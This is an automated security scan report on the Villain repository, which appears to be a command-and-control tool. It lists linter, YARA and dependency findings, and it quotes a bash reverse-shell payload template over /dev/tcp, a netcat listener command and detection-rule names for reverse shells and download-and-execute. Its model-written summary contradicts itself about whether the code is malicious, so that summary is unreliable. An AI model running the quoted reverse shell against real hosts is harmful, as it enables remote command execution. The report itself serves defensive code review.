Scan report
t3l3machus / Villain
Could an attacker exploit mistakes in this code?
Real issues worth reviewing before you rely on this code.
- High
- 3
- Medium
- 7
- Low
- 10
Sources: Bandit, Semgrep, pip-audit
Does this code look like it is trying to cause harm?
Real issues worth reviewing before you rely on this code.
- High
- 7
- Medium
- 5
- Low
- 3
Sources: YARA, ClamAV, GuardDog, dependency checker
- Likely real
- 5
- Uncertain
- 16
- Likely noise
- 14
The risk classifier rates every finding for how likely it is to be a real issue. Likely noise still counts, just much less.
What we found, in plain English
This repository has been flagged as having a medium vulnerability risk of 28.0 and a medium malicious-pattern risk of 20.0, which means the code contains several insecure coding patterns that an attacker could potentially exploit, but it also shows signs that the project may be intentionally designed to be harmful. The most concerning issues are the presence of reverse shell commands in the code, which allow attackers to execute arbitrary commands on a remote server, and the use of weak MD5 hashes for security purposes, both of which represent active threats rather than just poor coding habits. While some findings relate to supply chain risks due to missing version locks for dependencies like Requests and pycryptodomex, these are secondary to the immediate dangers posed by the shell commands and hash weaknesses. The scan did not find evidence that the code is maliciously crafted or specifically designed to cause harm, but rather that it contains dangerous patterns that could be misused if someone with access to this repository were to deploy it.
Written by a local language model from the findings below. The risk scores come from the classifier, not from this summary.
Detections by engine
Score over time
Overall score each time this repository was scanned.
Findings
Highest severity first. Select a finding to see the code and what it means.
-
- Engine
- Semgrep · Pattern-based code analysis
- Counts towards
- Vulnerability
- File
- /Core/payload_templates/linux/reverse_tcp/bash_read_line.py line 26
- Likely real
- Yes, 99% confidence
Semgrep found a bash reverse shell
data = "nohup `exec 5<>/dev/tcp/*LHOST*/*LPORT*;cat <&5 | while read line; do $line 2>&5 >&5; done` &" -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Core/payload_templates/linux/reverse_tcp/perl_no_sh.py
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Core/payload_templates/linux/reverse_tcp/python3_v2.py
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Core/payload_templates/linux/reverse_tcp/python3.py
- Likely real
- Uncertain, 39% confidence
YARA rule matched: detect_reverse_shell — Reverse shell command patterns
-
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Villain.py line 1161
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
1160 # Start listener 1161 os.system(f'gnome-terminal -- bash -c "stty raw -echo; (stty size; cat) | nc -lvnp {lport}"') 1162 villain_cmd['issuer'] = core.return_server_uniq_id() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Villain.py line 1147
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell, possible injection detected, security issue.
1146 # Start listener 1147 os.system(f'gnome-terminal -- bash -c "stty raw -echo; (stty size; cat) | nc -lvnp {lport}"') 1148 sleep(0.2) -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Core/villain_core.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Core/Utilities/Shell/fileless_exec/http/src.sh
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Core/villain_core.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Villain.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 1
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'netifaces' has no version lock — supply chain risk
netifaces -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 2
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'pycryptodomex' has no version lock — supply chain risk
pycryptodomex -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 3
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'pyperclip' has no version lock — supply chain risk
pyperclip -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 5
- Likely real
- Yes, 54% confidence
Unpinned dependency: 'gnureadline' has no version lock — supply chain risk
gnureadline -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Villain.py line 490
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
489 490 latest_signature = md5(file_data.content).hexdigest() 491 local_signature = get_local_file_hash(filename) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Villain.py line 446
- Likely real
- Uncertain, 48% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
445 data = f.read() 446 return md5(data).hexdigest() 447 -
- Engine
- Dependency checker · CVEs, typosquats and risky installs
- Counts towards
- Supply chain
- File
- requirements.txt line 4
- Likely real
- Uncertain, 41% confidence
Unpinned dependency: 'Requests' has no version lock — supply chain risk
Requests -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Core/settings.py line 26
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
25 26 bind_address = '0.0.0.0' 27 bind_port = 6501 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Core/settings.py line 43
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
42 43 bind_address = '0.0.0.0' 44 bind_port = 8080 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Core/settings.py line 64
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
63 64 bind_address = '0.0.0.0' 65 bind_port = 8888 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Core/settings.py line 77
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
76 77 bind_address = '0.0.0.0' 78 bind_port = 4443 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Core/villain_core.py line 3261
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
3260 try: 3261 httpd = HTTPServer(('0.0.0.0', File_Smuggler_Settings.bind_port), File_Smuggler_Http_Handler) 3262 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Villain.py line 970
- Likely real
- Uncertain, 36% confidence
Starting a process with a shell: Seems safe, but may be changed in the future, consider rewriting without shell
969 elif cmd == 'clear': 970 os.system('clear') 971 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Villain.py line 517
- Likely real
- Uncertain, 36% confidence
Starting a process without a shell.
516 print(f'\r[{INFO}] Update completed!') 517 os.execv(sys.executable, ['python3'] + sys.argv + ['-q'] + ['-s']) 518 else: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Core/villain_core.py line 918
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell: Seems safe, but may be changed in the future, consider rewriting without shell
917 if cmd_list[0] == 'clear': 918 os.system('clear') 919 if listener == 'reverse tcp': -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Core/villain_core.py line 1814
- Likely real
- Probably noise, 28% confidence
Try, Except, Continue detected.
1813 1814 except: 1815 continue 1816 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Core/villain_core.py line 2352
- Likely real
- Probably noise, 27% confidence
Try, Except, Continue detected.
2351 2352 except: 2353 continue 2354 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Core/villain_core.py line 1410
- Likely real
- Probably noise, 27% confidence
Try, Except, Continue detected.
1409 1410 except: 1411 continue 1412 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Villain.py line 10
- Likely real
- Probably noise, 14% confidence
Consider possible security implications associated with the subprocess module.
9 import argparse 10 from subprocess import check_output 11 from Core.common import * -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Core/common.py line 13
- Likely real
- Probably noise, 14% confidence
Consider possible security implications associated with the subprocess module.
12 from threading import Thread, enumerate as enumerate_threads 13 from subprocess import check_output 14 from platform import system as get_system_type -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Villain.py line 970
- Likely real
- Probably noise, 13% confidence
Starting a process with a partial executable path
969 elif cmd == 'clear': 970 os.system('clear') 971 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /Core/villain_core.py line 918
- Likely real
- Probably noise, 12% confidence
Starting a process with a partial executable path
917 if cmd_list[0] == 'clear': 918 os.system('clear') 919 if listener == 'reverse tcp': -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Core/Utilities/Shell/fileless_exec/http/src.sh
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Core/Utilities/Shell/fileless_exec/http/src.bat
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /Core/Utilities/Shell/upload/http/src.sh
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
No findings match these filters.